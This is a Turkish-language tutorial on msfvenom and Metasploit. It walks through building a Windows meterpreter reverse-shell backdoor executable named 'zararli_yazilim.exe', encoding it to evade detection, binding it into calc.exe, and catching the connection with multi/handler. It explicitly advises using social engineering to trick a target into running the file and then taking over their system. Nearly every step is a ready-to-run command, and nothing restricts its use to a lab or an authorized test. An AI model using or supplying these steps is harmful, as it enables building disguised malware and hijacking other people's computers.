kali linux`da msfvenom kullanımı

Transkript

kali linux`da msfvenom kullanımı
KALİ LİNUX’DA MSFVENOM KULLANIMI
Bu yazımda, Kali Linux'un 2.0 versiyonuna kadar
kullanılan msfpayload ve encoder aracı olarak kullanılan
msfencode'un yerini alan msfvenom'un nasıl
kullanılacağından ve kullanılan parametrelerinin ne işe
yaradığından bahsedeceğim. Ardından bir uygulama ile
yaptıklarımızı pekiştirip, msfvenom'u pratikte nasıl
uygulayacağımızı öğrenmiş olacağız.
Msfvenom, msfpayload ve msfencode araçlarının birleşimi olarak Metasploit tarafından yeni
nesil payload üretici aracı olarak kullanıma sunuldu. Msfpayload ve msfencode kullanımı
oldukça çok parametreye sahipti ve kullanıcılar bu parametreleri aklında tutmakta
zorlanabiliyorlardı. Ayrıca araçtan araca zıplamak da oldukça zor olan diğer bir konuydu.
Tüm bunlarla birlikte metasploit geliştiricileri Msfvenom aracını üretip, kullanıma sundular.
Not :Bu uygulamaların sorunsuz bir şekilde çalışabilmesi için Kali Linux 2.0'ın doğru bir
şekilde kurulu olması ve ağ ayarlarının yapılmış olması gerekmektedir.
Öncelikle Kali Linux işletim sistemimizde terminali açıyoruz ve msfvenom'un hangi
parametrelere sahip olduğunu görebilmek için açmış olduğumuz terminale msfvenom veya
msfvenom -h yazıyoruz.
Aşağıdaki tabloda msfvenom'un parametrelerinin ne işe yaradığı yer almaktadır.
Parametre Adı
-p
Örnek Kullanımı
(payload)msfvenom’da kullanılacak bir payload’u seçer. Oluşturulan
zararlı dosya açıldıktan sonra çalışacak olan kod parçasıdır.
msfvenom -p “payload adı" LHOST="sizin_local_ipiniz" LPORT="443"
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443
Payloadları listeler. msfvenom -l “payload, encoder, nops adı”
-l
-f
msfvenom -l payloads veya msfvenom -l encoders
(format)Oluşturulan zararlı dosyayı hangi formatta kaydeceğimizi
belirlediğimiz parametredir.
msfvenom -f “çıktı formatı”
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe
(architecture)Oluşturulacak payload’un mimarisini belirler. Msfvenom -a
“mimari”
-a
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86
Dosyanın çalışacağı platformu belirler. msfvenom --platform “çalışacağı
platform”
--platform
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86 --platform windows
Payload’un nereye çıkarılacağını belirtir. msfvenom -o “çıkarılacak dizin”
-o
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o
/root/Desktop/zararli_yazilim.exe
Encoder seçimini belirtir. msfvenom -e “encoder adı”
-e
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o
/root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai
İterasyon sayısını belirler. Yani encoding işleminin kaç kere
tekrarlanacağını bildirir.
msfvenom -i 10
-i
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o
/root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10
Kötü karakterleri (bad characters) temizler. “msfvenom -b ‘\x00\xff’”
-b
-x
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o
/root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10 -b ‘\x00’
Oluşturulacak payload’un bir dosya ile birleştirileceğini belirtir.
msfvenom -x “birleştirilecek dosyanın adı veya yolu”
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o
/root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10 -b ‘\x00’
-x /root/Desktop/calc.exe
Birleştirilen dosyanın fonksiyonlarının bozulmasını engelle “msfvenom k”
-k
-c
Çıktı Tipi
Çalıştırılabilir
Yazılımsal
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o
/root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10 -b ‘\x00’
-x /root/Desktop/calc.exe -k
Birleştirilecek Shell code’u belirler. msfvenom -c “Shell code dizini”
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.2.208 LPORT=443 -c /root/Desktop/shellcode.txt
Çıktı Listesi
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small,
hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, pshreflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl,
powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
Msfvenom bir çok çıktı formatını desteklediği gibi, bir çok platformu da desteklememektedir.
Msfvenom’un payload çıktısının çalışabileceği platformlar ise aşağıdaki gibidir.
Çıktı Tipi
Çalıştırılabilir
Platform Listesi
osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php,
javascript, python, nodejs, firefox, solaris, cisco, linux, ruby, java, android,
netware, windows
Parametrelerin ne işe yaradığını ve hangi anlama geldiğini öğrendikten sonra artık msfvenom
kullanarak arka kapımızı (backdoor) oluşturabiliriz. Hazırlamış olduğum payload'un IP
adresi benim yerel IP adresim olan 192.168.2.208'dir. Sizler bu adresi kendi adresiniz ile
değiştirebilirsiniz. Portumuzu da 443 yaparak bize hangi yoldan geri dönüş sağlayacağını
belirlemiş olduk.
Backdoor'umuzun formatı exe, mimarisi x86, adı zararli_yazilim.exe, platformu windows,
encoder'u x86/shikata_ga_nai ve kaç kere encode edileceğini gösteren değer 10'dir.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f
exe -a x86 -o /root/Desktop/zararli_yazilim.exe --platform windows -e
x86/shikata_ga_nai -i 10
Arka kapımızı oluşturduktan sonra yapmamız gereken metasploit uygulamasını kullanarak ve
Sosyal Mühendislik becerinizle yaptığımız exe dosyasını karşı tarafta çalıştırılmasını
sağlamak.
Metasploit ile Backdoor'dan Gelen Bağlantıları Kullanmak
İlk önce terminale msfconsole yazıp metasploit uygulamasının çalışmasını sağlıyoruz.
Metasploit arayüzü açıldıktan sonra multi handler'ı kullanmak için use
exploit/multi/handler yazıyoruz.
Ardından bize ters bağlantı (reverse connection) kuracak olan payload’umuzu set PAYLOAD
windows/meterpreter/reverse_tcp, gelen bağlantıları kabul edecek IP adresimizi set
LHOST 192.168.2.208 ve 443’üncü porta gelen bağlantıları dinleyeceğimizi, bu bağlantıları
kabul edeceğimizi set LPORT 443 şeklinde giriyoruz ve girdiğimiz bilgilerin kontrolünü
sağlamak için show options komutunu giriyoruz.
Daha sonrasında exploit yazıp, oluşturduğumuz zararlı yazılımı (backdoor) karşıdaki kişiye
açtırtmak için bir takım Sosyal Mühendislik yöntemlerini deniyoruz. Bu yöntemleri
denediğinizi ve başarılı olduğunuzu varsayarak aşağıdaki görüntüyü almış olup, sistemi ele
geçirmiş oluyoruz. Daha sonrasında komutlarla yapmak istediğimiz işlemleri
gerçekleştirebiliriz.
Örnek olarak;getuid, sysinfo vs...
Böylelikle msfvenom'un ne olduğunu, ne işe yaradığını ve nasıl kullanıldığını öğrenmiş olup,
metasploit ile oluşturduğumuz bir arka kapıyı kullanarak sistemi nasıl ele geçirebildiğimizi
görmüş olduk.
Yardımcı Kaynak : http://www.eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-abakis-ve-msfvenom-ile-backdoor-olusturma
http://www.blog.tolgaakkapulu.com/kali-linux-msfvenom-kullanimi.html